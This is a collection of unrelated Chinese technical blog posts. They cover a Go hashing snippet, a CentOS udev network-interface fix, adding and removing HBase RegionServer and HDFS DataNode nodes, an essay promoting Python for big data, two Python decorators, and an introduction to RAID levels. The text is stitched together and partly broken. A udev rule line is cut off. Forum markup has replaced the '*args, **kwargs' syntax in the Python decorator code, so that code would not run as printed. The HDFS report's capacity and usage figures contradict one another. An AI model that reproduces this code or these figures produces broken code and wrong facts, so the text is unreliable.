这里使用 func New() hash.Hash {} 函数进行生成对象.
使用 func (d *digest) Write(p []byte) (nn int, err error) {} 方法进行写入要加密的数据.
使用 func (d0 *digest) Sum(in []byte) []byte {} 方法进行数据的加密 看其返回值.
[]byte 可见使用第二种方式加密返回的是 []byte 类型的切片.

VM下ESXI5.5平台下，一台虚拟机重启，报如下信息：

device "eth0" does not seem to be present, delaying initialization

通过分析，原因是Centos6使用udev动态管理设备文件将MAC地址和网卡名称对应记录在udev的规则脚本中，VMware升级后虚拟机网卡MAC会改变，这样系统会认为网卡是新增的并命名为eth1，查看如下：

ip add

1: lo:  mtu 16436 qdisc noqueue state UNKNOWN 

    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00

    inet 127.0.0.1/8 scope host lo

    inet6 ::1/128 scope host 

       valid_lft forever preferred_lft forever

2: eth1:  mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000

    link/ether 00:0c:29:ce:c0:1e brd ff:ff:ff:ff:ff:ff

    inet 192.168.1.13/24 brd 192.168.1.255 scope global eth1

    inet6 fe80::20c:29ff:fece:c01e/64 scope link

解决方法1，修改网络配置文件设备eth0为eth1：

cat /etc/sysconfig/network-scripts/ifcfg-eth0 

DEVICE="eth1"

BOOTPROSTO=static

IPADDR=192.168.1.13

NETMASK=255.255.255.0

GATEWAY=192.168.1.1

ONBOOT="yes"

解决方法2，修改udev记录的mac与网卡名称对应规则：

cat /etc/udev/rules.d/70-persistent-net.rules 

# PCI device 0x1022:0x2000 (pcnet32)

SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?[i]", ATTR{address}=="00:0c:29:ce:c0:1e", ATTR{type}=="1", KERNEL=="eth[/i]", NA

解决方法3，删除规则文件，重启虚拟机

 # rm -rf /etc/udev/rules.d/70-persistent-net.rules

 # reboot

线上有台服务器随时可能会挂掉，所以需要把在这个服务器上hbase的regionserver和hdfs的datanode节点移除。然后重新拿台新服务器部署接管。
 
之前在文章 http://openskill.cn/article/178 中讲到怎么新增一个hdfs的datanode，所以我先讲一下怎么添加一个hbase的regionserver，然后再讲怎么删除！ 

添加hbase regionserver节点

添加步骤如下：
1、在hbase  master上修改regionservers文件

# cd hbase_install_dir/conf

# echo "new_hbase_node_hostname" >> ./regionservers

2、如果你hbase集群使用自身zk集群的话，还需要修改hbase-site.xml文件，反之不用操作！

# cd hbase_install_dir/conf

# vim hbase-site.xml

找到hbase.zookeeper.quorum属性   -->加入新节点

3、同步以上修改的文件到hbase的各个节点上
4、在新节点上启动hbase regionserver

# cd hbase_install_dir/bin/

# ./hbase-daemon.sh start regionserver

5、在hbasemaster启动hbase shell

用status命令确认一下集群情况

hbase新增一个 regionserver节点补充完成了，下面介绍删除hbase和hdfs节点！
 
集群上既部署有Hadoop，又部署有HBase，因为HBase存储是基于Hadoop HDFS的，所以先要移除HBase节点，之后再移除Hadoop节点。添加则反之。

移除hbase regionserver节点

1、在0.90.2之前，我们只能通过在要卸载的节点上执行；我的hbase版本(0.98.7)

# cd hbase_install_dir

# ./bin/hbase-daemon.sh stop regionserver

来实现。这条语句执行后，该RegionServer首先关闭其负载的所有Region而后关闭自己。在关闭时，RegionServer在ZooKeeper中的"Ephemeral Node"会失效。此时，Master检测到RegionServer挂掉并把它作为一个宕机节点，并将该RegionServer上的Region重新分配到其他RegionServer。
 
注意：使用此方法前，一定要关闭HBase Load Balancer。关闭方法：

hbase(main):001:0> balance_switch false

true

0 row(s) in 0.3290 seconds

总结：

这种方法很大的一个缺点是该节点上的Region会离线很长时间。因为假如该RegionServer上有大量Region的话，因为Region的关闭是顺序执行的，第一个关闭的Region得等到和最后一个Region关闭并Assigned后一起上线。这是一个相当漫长的时间。以我这次的实验为例，现在一台RegionServer平均有1000个Region，每个Region Assigned需要4s，也就是说光Assigned就至少需要1个小时。

2、自0.90.2之后，HBase添加了一个新的方法，即"graceful_stop",在你移除的服务器执行：

# cd hbase_install_dir

# ./bin/graceful_stop.sh hostname

该命令会自动关闭Load Balancer，然后Assigned Region，之后会将该节点关闭。除此之外，你还可以查看remove的过程，已经assigned了多少个Region，还剩多少个Region，每个Region 的Assigned耗时。
 
补充graceful stop的一些其他命令参数:

# ./bin/graceful_stop.sh

Usage: graceful_stop.sh [--config &conf-dir>] [--restart] [--reload] [--thrift] [--rest] &hostname>

 thrift      If we should stop/start thrift before/after the hbase stop/start

 rest        If we should stop/start rest before/after the hbase stop/start

 restart     If we should restart after graceful stop

 reload      Move offloaded regions back on to the stopped server

 debug       Move offloaded regions back on to the stopped server

 hostname    Hostname of server we are to stop

最终都需要我们手动打开load balancer：

hbase(main):001:0> balance_switch false

true

0 row(s) in 0.3590 seconds

然后再开启：

hbase(main):001:0> balance_switch true

false

0 row(s) in 0.3290 seconds

对比两种方法，建议使用"graceful_stop"来移除hbase RegionServer节点。
官网说明：http://hbase.apache.org/0.94/book/node.management.html​  http://hbase.apache.org/book.html#decommission​  

移除hdfs datanode节点

1、在core-site.xml文件下新增如下内容

       dfs.hosts.exclude

       /hdfs_install_dir/conf/excludes

2、创建exclude文件，把需要删除节点的主机名写入

# cd hdfs_install_dir/conf

# vim excludes

添加需要删除的节点主机名，比如 hdnode1 保存退出

3、 然后在namenode节点执行如下命令，强制让namenode重新读取配置文件，不需要重启集群。

# cd hdfs_install_dir/bin/

# ./hadoop dfsadmin -refreshNodes

它会在后台进行Block块的移动
 4、 查看状态
等待第三步的操作结束后，需要下架的机器就可以安全的关闭了。

# ./hadoop dfsadmin -report

可以查看到现在集群上连接的节点 

正在执行Decommission，会显示： 

Decommission Status : Decommission in progress  



执行完毕后，会显示： 

Decommission Status : Decommissioned

如下：

Name: 10.0.180.6:50010

Decommission Status : Decommission in progress

Configured Capacity: 917033340928 (10.83 TB)

DFS Used: 7693401063424 (7 TB)

Non DFS Used: 118121652224 (110.00 GB)

DFS Remaining: 4105510625280(3.63 TB)

DFS Used%: 64.56%

DFS Remaining%: 34.45%

Last contact: Mon Nov 29 23:53:52 CST 2015

也可以直接通过Hadoop 浏览器查看：
LIVE的节点可以查看到：http://master_ip:50070/dfsnodelist.jsp?whatNodes=LIVE
查看看到卸载的节点状态是：Decommission in progress
等待节点完成移除后，浏览：http://master_ip:50070/dfsnodelist.jsp?whatNodes=DEAD 结果如下：

完成后，删除的节点显示在dead nodes中。且其上的服务停止。Live Nodes中仅剩had2，had3
以上即为从Hadoop集群中Remove Node的过程，但是，有一点一定要注意：
hdfs-site.xml配置文件中dfs.replication值必须小于或者等于踢除节点后正常datanode的数量，即：

dfs.replication <= 集群所剩节点数

修改备份系数可以参考：http://heylinux.com/archives/2047.html

重载入删除的datanode节点 

1、修改namenode的core-site.xml文件，把我们刚刚加入的内容删除或者注释掉，我这里选择注释掉。

2、 再执行重载namenode的配置文件

# ./bin/hadoop dfsadmin -refreshNodes

3、最后去启动datanode上的datanode

# ./bin/hadoop-daemon.sh start datanode

starting datanode, logging to /usr/local/hadoop/bin/../logs/hadoop-root-datanode-had1.out

4、查看启动情况

# jps

18653 Jps

19687 DataNode  ---->启动正常

重新载入HBase RegionServer节点
只需要重启regionserver进程即可。
参考：http://www.edureka.co/blog/commissioning-and-decommissioning-nodes-in-a-hadoop-cluster/
           https://pravinchavan.wordpress.com/2013/06/03/removing-node-from-hadoop-cluster/

前段时间，ThoughtWorks在深圳举办一次社区活动上，有一个演讲主题叫做“Fullstack JavaScript”，是关于用JavaScript进行前端、服务器端，甚至数据库（MongoDB）开发，一个Web应用开发人员，只需要学会一门语言，就可以实现整个应用。
 
受此启发，我发现Python可以称为大数据全栈式开发语言。因为Python在云基础设施，DevOps，大数据处理等领域都是炙手可热的语言。

就像只要会JavaScript就可以写出完整的Web应用，只要会Python，就可以实现一个完整的大数据处理平台。

云基础设施

这年头，不支持云平台，不支持海量数据，不支持动态伸缩，根本不敢说自己是做大数据的，顶多也就敢跟人说是做商业智能（BI）。
 
云平台分为私有云和公有云。私有云平台如日中天的OpenStack，就是Python写的。曾经的追赶者CloudStack，在刚推出时大肆强调自己是Java写的，比Python有优势。结果，搬石砸脚，2015年初，CloudStack的发起人Citrix宣布加入OpenStack基金会，CloudStack眼看着就要寿终正寝。

如果嫌麻烦不想自己搭建私有云，用公有云，不论是AWS，GCE，Azure，还是阿里云，青云，在都提供了Python SDK，其中GCE只提供Python和JavaScript的SDK，而青云只提供Python SDK。可见各家云平台对Python的重视。

提到基础设施搭建，不得不提Hadoop，在今天，Hadoop因为其MapReduce数据处理速度不够快，已经不再作为大数据处理的首选，但是HDFS和Yarn——Hadoop的两个组件——倒是越来越受欢迎。Hadoop的开发语言是Java，没有官方提供Python支持，不过有很多第三方库封装了Hadoop的API接口（pydoop，hadoopy等等）。

Hadoop MapReduce的替代者，是号称快上100倍的Spark，其开发语言是Scala，但是提供了Scala，Java，Python的开发接口，想要讨好那么多用Python开发的数据科学家，不支持Python，真是说不过去。HDFS的替代品，比如GlusterFS，Ceph等，都是直接提供Python支持。Yarn的替代者，Mesos是C++实现，除C++外，提供了Java和Python的支持包。

DevOps

DevOps有个中文名字，叫做开发自运维。互联网时代，只有能够快速试验新想法，并在第一时间，安全、可靠的交付业务价值，才能保持竞争力。DevOps推崇的自动化构建/测试/部署，以及系统度量等技术实践，是互联网时代必不可少的。

自动化构建是因应用而易的，如果是Python应用，因为有setuptools, pip, virtualenv, tox, flake8等工具的存在，自动化构建非常简单。而且，因为几乎所有Linux系统都内置Python解释器，所以用Python做自动化，不需要系统预安装什么软件。

自动化测试方面，基于Python的Robot Framework企业级应用最喜欢的自动化测试框架，而且和语言无关。Cucumber也有很多支持者，Python对应的Lettuce可以做到完全一样的事情。Locust在自动化性能测试方面也开始受到越来越多的关注。

自动化配置管理工具，老牌的如Chef和Puppet，是Ruby开发，目前仍保持着强劲的势头。不过，新生代Ansible和SaltStack——均为Python开发——因为较前两者设计更为轻量化，受到越来越多开发这的欢迎，已经开始给前辈们制造了不少的压力。

在系统监控与度量方面，传统的Nagios逐渐没落，新贵如Sensu大受好评，云服务形式的New Relic已经成为创业公司的标配，这些都不是直接通过Python实现的，不过Python要接入这些工具，并不困难。

除了上述这些工具，基于Python，提供完整DevOps功能的PaaS平台，如Cloudify和Deis，虽未成气候，但已经得到大量关注。 

网络爬虫

大数据的数据从哪里来？除了部分企业有能力自己产生大量的数据，大部分时候，是需要靠爬虫来抓取互联网数据来做分析。

网络爬虫是Python的传统强势领域，最流行的爬虫框架Scrapy，HTTP工具包urlib2，HTML解析工具beautifulsoup，XML解析器lxml，等等，都是能够独当一面的类库。

不过，网络爬虫并不仅仅是打开网页，解析HTML这么简单。高效的爬虫要能够支持大量灵活的并发操作，常常要能够同时几千甚至上万个网页同时抓取，传统的线程池方式资源浪费比较大，线程数上千之后系统资源基本上就全浪费在线程调度上了。Python由于能够很好的支持协程（Coroutine）操作，基于此发展起来很多并发库，如Gevent，Eventlet，还有Celery之类的分布式任务框架。被认为是比AMQP更高效的ZeroMQ也是最早就提供了Python版本。有了对高并发的支持，网络爬虫才真正可以达到大数据规模。

抓取下来的数据，需要做分词处理，Python在这方面也不逊色，著名的自然语言处理程序包NLTK，还有专门做中文分词的Jieba，都是做分词的利器。

数据处理

万事俱备，只欠东风。这东风，就是数据处理算法。从统计理论，到数据挖掘，机器学习，再到最近几年提出来的深度学习理论，数据科学正处于百花齐放的时代。数据科学家们都用什么编程？

如果是在理论研究领域，R语言也许是最受数据科学家欢迎的，但是R语言的问题也很明显，因为是统计学家们创建了R语言，所以其语法略显怪异。而且R语言要想实现大规模分布式系统，还需要很长一段时间的工程之路要走。所以很多公司使用R语言做原型试验，算法确定之后，再翻译成工程语言。

Python也是数据科学家最喜欢的语言之一。和R语言不同，Python本身就是一门工程性语言，数据科学家用Python实现的算法，可以直接用在产品中，这对于大数据初创公司节省成本是非常有帮助的。正式因为数据科学家对Python和R的热爱，Spark为了讨好数据科学家，对这两种语言提供了非常好的支持。

Python的数据处理相关类库非常多。高性能的科学计算类库NumPy和SciPy，给其他高级算法打了非常好的基础，matploglib让Python画图变得像Matlab一样简单。Scikit-learn和Milk实现了很多机器学习算法，基于这两个库实现的Pylearn2，是深度学习领域的重要成员。Theano利用GPU加速，实现了高性能数学符号计算和多维矩阵计算。当然，还有Pandas，一个在工程领域已经广泛使用的大数据处理类库，其DataFrame的设计借鉴自R语言，后来又启发了Spark项目实现了类似机制。

对了，还有iPython，这个工具如此有用，以至于我差点把他当成标准库而忘了介绍。iPython是一个交互式Python运行环境，能够实时看到每一段Python代码的结果。默认情况下，iPython运行在命令行，可以执行ipython notebook在网页中运行。用matplotlib绘制的图可以直接嵌入式的显示在iPython Notebook中。
iPython Notebook的笔记本文件可以共享给其他人，这样其他人就可以在自己的环境中重现你的工作成果；如果对方没有运行环境，还可以直接转换成HTML或者PDF。

为什么是Python

正是因为应用开发工程师、运维工程师、数据科学家都喜欢Python，才使得Python成为大数据系统的全栈式开发语言。

对于开发工程师而言，Python的优雅和简洁无疑是最大的吸引力，在Python交互式环境中，执行import this，读一读Python之禅，你就明白Python为什么如此吸引人。Python社区一直非常有活力，和NodeJS社区软件包爆炸式增长不同，Python的软件包增长速度一直比较稳定，同时软件包的质量也相对较高。有很多人诟病Python对于空格的要求过于苛刻，但正是因为这个要求，才使得Python在做大型项目时比其他语言有优势。OpenStack项目总共超过200万行代码，证明了这一点。

对于运维工程师而言，Python的最大优势在于，几乎所有Linux发行版都内置了Python解释器。Shell虽然功能强大，但毕竟语法不够优雅，写比较复杂的任务会很痛苦。用Python替代Shell，做一些复杂的任务，对运维人员来说，是一次解放。

对于数据科学家而言，Python简单又不失强大。和C/C++相比，不用做很多的底层工作，可以快速进行模型验证；和Java相比，Python语法简洁，表达能力强，同样的工作只需要1/3代码；和Matlab，Octave相比，Python的工程成熟度更高。不止一个编程大牛表达过，Python是最适合作为大学计算机科学编程课程使用的语言——MIT的计算机入门课程就是使用的Python——因为Python能够让人学到编程最重要的东西——如何解决问题。

顺便提一句，微软参加2015年PyCon，高调宣布提高Python在Windows上的编程体验，包括Visual Studio支持Python，优化Python的C扩展在Windows上的编译等等。脑补下未来Python作为Windows默认组件的场景。

内容来源：ThoughtWorks洞见
分享阅读：http://insights.thoughtworkers.org/full-stack-python/

超时函数

这个函数的作用在于可以给任意可能会hang住的函数添加超时功能，这个功能在编写外部API调用 、网络爬虫、数据库查询的时候特别有用
 
timeout装饰器的代码如下：

import signal,functools #下面会用到的两个库 

class TimeoutError(Exception): pass #定义一个Exception，后面超时抛出 



def timeout(seconds, error_message = 'Function call timed out'):

  def decorated(func):

    def _handle_timeout(signum, frame):

      raise TimeoutError(error_message)

    def wrapper([i]args, [/i]*kwargs):

      signal.signal(signal.SIGALRM, _handle_timeout)

      signal.alarm(seconds)

      try:

        result = func([i]args, [/i]*kwargs)

      finally:

        signal.alarm(0)

      return result

    return functools.wraps(func)(wrapper)

  return decorated

使用：

@timeout(5) #限定下面的slowfunc函数如果在5s内不返回就强制抛TimeoutError Exception结束 

def slowfunc(sleep_time):

  import time

  time.sleep(sleep_time) #这个函数就是休眠sleep_time秒 



slowfunc(3) #sleep 3秒，正常返回 没有异常 





slowfunc(10) #被终止 



[size=16] 输出 [/size]

---------------------------------------------------------------------------

TimeoutError                              Traceback (most recent call last)

Trace函数

有时候出于演示目的或者调试目的，我们需要程序运行的时候打印出每一步的运行顺序 和调用逻辑。类似写bash的时候的bash -x调试功能，然后Python解释器并没有 内置这个时分有用的功能，那么我们就“自己动手，丰衣足食”。
 
Trace装饰器的代码如下：

import sys,os,linecache

def trace(f):

  def globaltrace(frame, why, arg):

    if why == "call": return localtrace

    return None

  def localtrace(frame, why, arg):

    if why == "line":

      # record the file name and line number of every trace 

      filename = frame.f_code.co_filename

      lineno = frame.f_lineno

      bname = os.path.basename(filename)

      print "{}({}): {}".format(  bname,

                    lineno,

                    linecache.getline(filename, lineno)),

    return localtrace

  def _f([i]args, [/i]*kwds):

    sys.settrace(globaltrace)

    result = f([i]args, [/i]*kwds)

    sys.settrace(None)

    return result

  return _f

使用：

@trace

def xxx():

  print 1

  print 22

  print 333



xxx() #调用 



[size=16] 输出 [/size]

(3):     print 1 # @trace 的输出 

1

(4):     print 22 # @trace 的输出 

22

(5):     print 333 # @trace 的输出 

333

作者：auxten
分享原文：http://zhuanlan.zhihu.com/auxten/20175869

一、Raid介绍

RAID是(Redundent Array of Inexpensive Disks)的缩写，直译为“廉价冗余磁盘阵列”，也简称为“磁盘阵列”。后来RAID中的字母I被改作了Independent，RAID就成了“独立冗余磁盘阵列”，但这只是名称的变化，实质性的内容并没有改变。可以把RAID理解成一种使用磁盘驱动器的方法，它将一组磁盘驱动器用某种逻辑方式联系起来，作为逻辑上的一个磁盘驱动器来使用。

RAID 包含一组或者一个集合甚至一个阵列。使用一组磁盘结合驱动器组成 RAID 阵列或 RAID 集。将至少两个磁盘连接到一个 RAID 控制器，而成为一个逻辑卷，也可以将多个驱动器放在一个组中。一组磁盘只能使用一个 RAID 级别。使用 RAID 可以提高服务器的性能。不同 RAID 的级别，性能会有所不同。它通过容错和高可用性来保存我们的数据。

RAID的优点:

[]传输速率高。在部分RAID模式中，可以让很多磁盘驱动器同时传输数据，而这些磁盘驱动器在逻辑上又是一个磁盘驱动器，所以使用RAID可以达到单个的磁盘驱动器几倍的速率。因为CPU的速度增长很快，而磁盘驱动器的数据传输速率无法大幅提高，所以需要有一种方案解决二者之间的矛盾。[/][]更高的安全性。相较于普通磁盘驱动器很多RAID模式都提供了多种数据修复功能，当RAID中的某一磁盘驱动器出现严重故障无法使用时，可以通过RAID中的其他磁盘驱动器来恢复此驱动器中的数据，而普通磁盘驱动器无法实现，这是使用RAID的第二个原因。[/]

二、Raid概念

软件 RAID 和硬件 RAID

软件 RAID 的性能较低，因为其使用主机的资源。 需要加载 RAID 软件以从软件 RAID 卷中读取数据。在加载 RAID 软件前，操作系统需要引导起来才能加载 RAID 软件。在软件 RAID 中无需物理硬件。零成本投资。

硬件 RAID 的性能较高。他们采用 PCI Express 卡物理地提供有专用的 RAID 控制器。它不会使用主机资源。他们有 NVRAM 用于缓存的读取和写入。缓存用于 RAID 重建时，即使出现电源故障，它会使用后备的电池电源保持缓存。对于大规模使用是非常昂贵的投资。

硬件 RAID 卡如下所示：

几个重要Raid概念：

[]校验方式用在 RAID 重建中从校验所保存的信息中重新生成丢失的内容。 RAID 5，RAID 6 基于校验。[/][]条带化是将切片数据随机存储到多个磁盘。它不会在单个磁盘中保存完整的数据。如果我们使用2个磁盘，则每个磁盘存储我们的一半数据。[/][]镜像被用于 RAID 1 和 RAID 10。镜像会自动备份数据。在 RAID 1 中，它会保存相同的内容到其他盘上。[/][]热备份只是我们的服务器上的一个备用驱动器，它可以自动更换发生故障的驱动器。在我们的阵列中，如果任何一个驱动器损坏，热备份驱动器会自动用于重建 RAID。[/][]块是 RAID 控制器每次读写数据时的最小单位，最小 4KB。通过定义块大小，我们可以增加 I/O 性能。[/]

三、Raid级别

RAID有不同的级别,下面列举比较常用的模式：

[]RAID0 = 条带化[/][]RAID1 = 镜像[/][]RAID5 = 单磁盘分布式奇偶校验[/][]RAID6 = 双磁盘分布式奇偶校验[/][]RAID10 = 镜像 + 条带。（嵌套RAID）[/]

 Raid 0

RAID 0，无冗余无校验的磁盘阵列。数据同时分布在各个磁盘上，没有容错能力，读写速度在RAID中最快，但因为任何一个磁盘损坏都会使整个RAID系统失效，所以安全系数反倒比单个的磁盘还要低。一般用在对数据安全要求不高，但对速度要求很高的场合，如：大型游戏、图形图像编辑等。此种RAID模式至少需要2个磁盘，而更多的磁盘则能提供更高效的数据传输。

条带化有很好的性能。在RAID0（条带化）中数据将使用切片的方式被写入到磁盘。一半的内容放在一个磁盘上，另一半内容将被写入到另一个磁盘。 

假设我们有2个磁盘驱动器，例如，如果我们将数据“TECMINT”写到逻辑卷中，“T”将被保存在第一盘中，“E”将保存在第二盘，'C'将被保存在第一盘，“M”将保存在第二盘，它会一直继续此循环过程。（LCTT 译注：实际上不可能按字节切片，是按数据块切片的。）

在这种情况下，如果驱动器中的任何一个发生故障，我们就会丢失数据，因为一个盘中只有一半的数据，不能用于重建 RAID。不过，当比较写入速度和性能时，RAID 0 是非常好的。创建 RAID 0（条带化）至少需要2个磁盘。如果你的数据是非常宝贵的，那么不要使用此 RAID 级别。

特点：

[]高性能。[/][]RAID 0 中容量零损失。[/][]零容错。[/][]写和读有很高的性能。[/]

 Raid 1

RAID 1，镜象磁盘阵列。每一个磁盘都有一个镜像磁盘，镜像磁盘随时保持与原磁盘的内容一致。RAID1具有最高的安全性，但只有一半的磁盘空间被用来存储数据。主要用在对数据安全性要求很高，而且要求能够快速恢复被损坏的数据的场合。此种RAID模式每组仅需要2个磁盘。

镜像可以对我们的数据做一份相同的副本。假设我们有两个2TB的硬盘驱动器，我们总共有4TB，但在镜像中，但是放在RAID控制器后面的驱动器形成了一个逻辑驱动器，我们只能看到这个逻辑驱动器有2TB。

当我们保存数据时，它将同时写入这两个2TB驱动器中。创建 RAID 1（镜像化）最少需要两个驱动器。如果发生磁盘故障，我们可以通过更换一个新的磁盘恢复 RAID 。如果在 RAID 1 中任何一个磁盘发生故障，我们可以从另一个磁盘中获取相同的数据，因为另外的磁盘中也有相同的数据。所以是零数据丢失。

特点：

[]良好的性能。[/][]总容量丢失一半可用空间。[/][]完全容错。[/][]重建会更快。[/][]写性能变慢。[/][]读性能变好。[/][]能用于操作系统和小规模的数据库[/]

Raid 5

RAID 5， 无独立校验盘的奇偶校验磁盘阵列。同样采用奇偶校验来检查错误，但没有独立的校验盘，而是使用了一种特殊的算法，可以计算出任何一个带区校验块的存放位置。这样就可以确保任何对校验块进行的读写操作都会在所有的RAID磁盘中进行均衡，既提高了系统可靠性也消除了产生瓶颈的可能，对大小数据量的读写都有很好的性能。为了能跨越数组里的所有磁盘来写入数据及校验码信息，RAID 5设定最少需要三个磁盘，因此在这种情况下，会有1/3的磁盘容量会被备份校验码占用而无法使用，当有四个磁盘时，则需要1/4的容量作为备份，才能让最坏情况的发生率降到最低。当磁盘的数目增多时，每个磁盘上被备份校验码占用的磁盘容量就会降低，但是磁盘故障的风险率也同时增加了，一但同时有两个磁盘故障，则无法进行数据恢复。

RAID 5多用于企业级。 RAID 5的以分布式奇偶校验的方式工作。奇偶校验信息将被用于重建数据。它从剩下的正常驱动器上的信息来重建。在驱动器发生故障时，这可以保护我们的数据。

假设我们有4个驱动器，如果一个驱动器发生故障而后我们更换发生故障的驱动器后，我们可以从奇偶校验中重建数据到更换的驱动器上。奇偶校验信息存储在所有的4个驱动器上，如果我们有4个 1TB 的驱动器。奇偶校验信息将被存储在每个驱动器的256G中，而其它768GB是用户自己使用的。单个驱动器故障后，RAID 5依旧正常工作，如果驱动器损坏个数超过1个会导致数据的丢失。

特点：

[]性能卓越[/][]读速度将非常好。[/][]写速度处于平均水准，如果我们不使用硬件 RAID 控制器，写速度缓慢。[/][]从所有驱动器的奇偶校验信息中重建。[/][]完全容错。[/][]1个磁盘空间将用于奇偶校验。[/][]可以被用在文件服务器，Web服务器，非常重要的备份中。[/]

Raid 6

RAID 6和RAID 5相似但它有两个分布式奇偶校验。大多用在大数量的阵列中。我们最少需要4个驱动器，即使有2个驱动器发生故障，我们依然可以更换新的驱动器后重建数据。

它比RAID 5慢，因为它将数据同时写到4个驱动器上。当我们使用硬件 RAID 控制器时速度就处于平均水准。如果我们有6个的1TB驱动器，4个驱动器将用于数据保存，2个驱动器将用于校验。

特点：

[]性能不佳。[/][]读的性能很好。[/][]如果我们不使用硬件 RAID 控制器写的性能会很差。[/][]从两个奇偶校验驱动器上重建。[/][]完全容错。[/][]2个磁盘空间将用于奇偶校验。[/][]可用于大型阵列。[/][]用于备份和视频流中，用于大规模。[/]

Raid 10

RAID 10可以被称为1 + 0或0 +1。它将做镜像+条带两个工作。在 RAID 10中首先做镜像然后做条带。在 RAID 01上首先做条带，然后做镜像。RAID 10比RAID 01好。

假设，我们有4个驱动器。当我逻辑卷上写数据时，它会使用镜像和条带的方式将数据保存到4个驱动器上。如果我在 RAID 10 上写入数据“TECMINT”，数据将使用如下方式保存。首先将“T”同时写入两个磁盘，“E”也将同时写入另外两个磁盘，所有数据都写入两块磁盘。这样可以将每个数据复制到另外的磁盘。同时它将使用 RAID 0 方式写入数据，遵循将“T”写入第一组盘，“E”写入第二组盘。再次将“C”写入第一组盘，“M”到第二组盘。

特点：

[]良好的读写性能。[/][]总容量丢失一半的可用空间。[/][]容错。[/][]从副本数据中快速重建。[/][]由于其高性能和高可用性，常被用于数据库的存储中。[/]

下面附录几张参考表：
针对不同RAID 模式在实际运用中可以使用的磁盘空间分别有多少，在用列表举例说明：

所有Raid级别的一些特性：